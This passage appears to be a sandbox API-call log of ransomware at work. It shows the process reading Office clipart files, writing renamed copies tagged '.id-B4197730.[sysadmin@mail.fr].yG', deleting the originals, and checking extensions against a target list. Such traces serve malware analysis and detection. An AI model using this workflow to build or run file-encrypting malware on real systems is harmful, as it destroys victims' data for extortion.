	[0150.262] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.262] SetEndOfFile (hFile=0x51c) returned 1
	[0150.265] CloseHandle (hObject=0x51c) returned 1
	[0150.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0150.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.793] lstrlenW (lpString=".doc") returned 4
	[0150.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.793] lstrlenW (lpString=".docx") returned 5
	[0150.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.793] lstrlenW (lpString=".pdf") returned 4
	[0150.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.793] lstrlenW (lpString=".xls") returned 4
	[0150.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.793] lstrlenW (lpString=".xlsx") returned 5
	[0150.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.793] lstrlenW (lpString=".ppt") returned 4
	[0150.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString=".zip") returned 4
	[0150.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.794] lstrlenW (lpString=".rar") returned 4
	[0150.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString=".bz2") returned 4
	[0150.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString=".7z") returned 3
	[0150.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString=".dbf") returned 4
	[0150.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString=".1cd") returned 4
	[0150.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString=".jpg") returned 4
	[0150.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.794] lstrlenW (lpString=".doc") returned 4
	[0150.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.794] lstrlenW (lpString=".docx") returned 5
	[0150.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.794] lstrlenW (lpString=".pdf") returned 4
	[0150.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.795] lstrlenW (lpString=".xls") returned 4
	[0150.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.827] lstrlenW (lpString=".xlsx") returned 5
	[0150.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.827] lstrlenW (lpString=".ppt") returned 4
	[0150.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.828] lstrlenW (lpString=".zip") returned 4
	[0150.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.828] lstrlenW (lpString=".rar") returned 4
	[0150.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.828] lstrlenW (lpString=".bz2") returned 4
	[0150.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.828] lstrlenW (lpString=".7z") returned 3
	[0150.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.828] lstrlenW (lpString=".dbf") returned 4
	[0150.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.828] lstrlenW (lpString=".1cd") returned 4
	[0150.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0150.828] lstrlenW (lpString=".jpg") returned 4
	[0150.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.828] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.828] lstrlenW (lpString="HH00688_.WMF") returned 12
	[0150.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.829] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=7084) returned 1
	[0150.829] CloseHandle (hObject=0x540) returned 1
	[0150.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220
	[0150.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0150.830] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.830] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0150.831] GetLastError () returned 0x0
	[0150.831] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1bac, lpOverlapped=0x0) returned 1
	[0150.844] WriteFile (in: hFile=0x538, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0150.845] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.845] WriteFile (in: hFile=0x538, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.846] SetEndOfFile (hFile=0x538) returned 1
	[0150.846] CloseHandle (hObject=0x538) returned 1
	[0150.846] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.846] SetEndOfFile (hFile=0x540) returned 1
	[0150.849] CloseHandle (hObject=0x540) returned 1
	[0150.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0150.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.851] lstrlenW (lpString=".doc") returned 4
	[0150.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.851] lstrlenW (lpString=".docx") returned 5
	[0150.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.851] lstrlenW (lpString=".pdf") returned 4
	[0150.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.851] lstrlenW (lpString=".xls") returned 4
	[0150.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.851] lstrlenW (lpString=".xlsx") returned 5
	[0150.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.851] lstrlenW (lpString=".ppt") returned 4
	[0150.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.852] lstrlenW (lpString=".zip") returned 4
	[0150.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.852] lstrlenW (lpString=".rar") returned 4
	[0150.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.852] lstrlenW (lpString=".bz2") returned 4
	[0150.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.852] lstrlenW (lpString=".7z") returned 3
	[0150.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.852] lstrlenW (lpString=".dbf") returned 4
	[0150.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.852] lstrlenW (lpString=".1cd") returned 4
	[0150.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.852] lstrlenW (lpString=".jpg") returned 4
	[0150.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.860] lstrlenW (lpString=".doc") returned 4
	[0150.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.860] lstrlenW (lpString=".docx") returned 5
	[0150.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.860] lstrlenW (lpString=".pdf") returned 4
	[0150.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString=".xls") returned 4
	[0150.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.861] lstrlenW (lpString=".xlsx") returned 5
	[0150.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.861] lstrlenW (lpString=".ppt") returned 4
	[0150.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.861] lstrlenW (lpString=".zip") returned 4
	[0150.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.861] lstrlenW (lpString=".rar") returned 4
	[0150.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString=".bz2") returned 4
	[0150.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString=".7z") returned 3
	[0150.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.861] lstrlenW (lpString=".dbf") returned 4
	[0150.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.861] lstrlenW (lpString=".1cd") returned 4
	[0150.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0150.861] lstrlenW (lpString=".jpg") returned 4
	[0150.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.862] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.862] lstrlenW (lpString="HH01013_.WMF") returned 12
	[0150.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.863] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2848) returned 1
	[0150.863] CloseHandle (hObject=0x42c) returned 1
	[0150.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220
	[0150.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.864] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.864] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0150.865] GetLastError () returned 0x0
	[0150.865] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xb20, lpOverlapped=0x0) returned 1
	[0150.873] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0150.874] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.874] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.874] SetEndOfFile (hFile=0x4a4) returned 1
	[0150.874] CloseHandle (hObject=0x4a4) returned 1
	[0150.874] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.874] SetEndOfFile (hFile=0x42c) returned 1
	[0150.878] CloseHandle (hObject=0x42c) returned 1
	[0150.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0150.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.879] lstrlenW (lpString=".doc") returned 4
	[0150.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.879] lstrlenW (lpString=".docx") returned 5
	[0150.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.879] lstrlenW (lpString=".pdf") returned 4
	[0150.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.879] lstrlenW (lpString=".xls") returned 4
	[0150.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.879] lstrlenW (lpString=".xlsx") returned 5
	[0150.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.880] lstrlenW (lpString=".ppt") returned 4
	[0150.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString=".zip") returned 4
	[0150.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.880] lstrlenW (lpString=".rar") returned 4
	[0150.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString=".bz2") returned 4
	[0150.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString=".7z") returned 3
	[0150.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString=".dbf") returned 4
	[0150.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString=".1cd") returned 4
	[0150.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString=".jpg") returned 4
	[0150.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.880] lstrlenW (lpString=".doc") returned 4
	[0150.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0150.880] lstrlenW (lpString=".docx") returned 5
	[0150.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0150.881] lstrlenW (lpString=".pdf") returned 4
	[0150.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0150.881] lstrlenW (lpString=".xls") returned 4
	[0150.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0150.881] lstrlenW (lpString=".xlsx") returned 5
	[0150.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0150.881] lstrlenW (lpString=".ppt") returned 4
	[0150.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0150.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.881] lstrlenW (lpString=".zip") returned 4
	[0150.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0150.881] lstrlenW (lpString=".rar") returned 4
	[0150.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0150.881] lstrlenW (lpString=".bz2") returned 4
	[0150.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0150.881] lstrlenW (lpString=".7z") returned 3
	[0150.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0150.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.881] lstrlenW (lpString=".dbf") returned 4
	[0150.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0150.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.881] lstrlenW (lpString=".1cd") returned 4
	[0150.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0150.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0150.882] lstrlenW (lpString=".jpg") returned 4
	[0150.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0150.882] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0150.882] lstrlenW (lpString="HH01058_.WMF") returned 12
	[0150.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.883] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2756) returned 1
	[0150.883] CloseHandle (hObject=0x42c) returned 1
	[0150.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220
	[0150.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0150.884] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.884] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0150.885] GetLastError () returned 0x0
	[0150.885] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0151.024] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0151.041] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
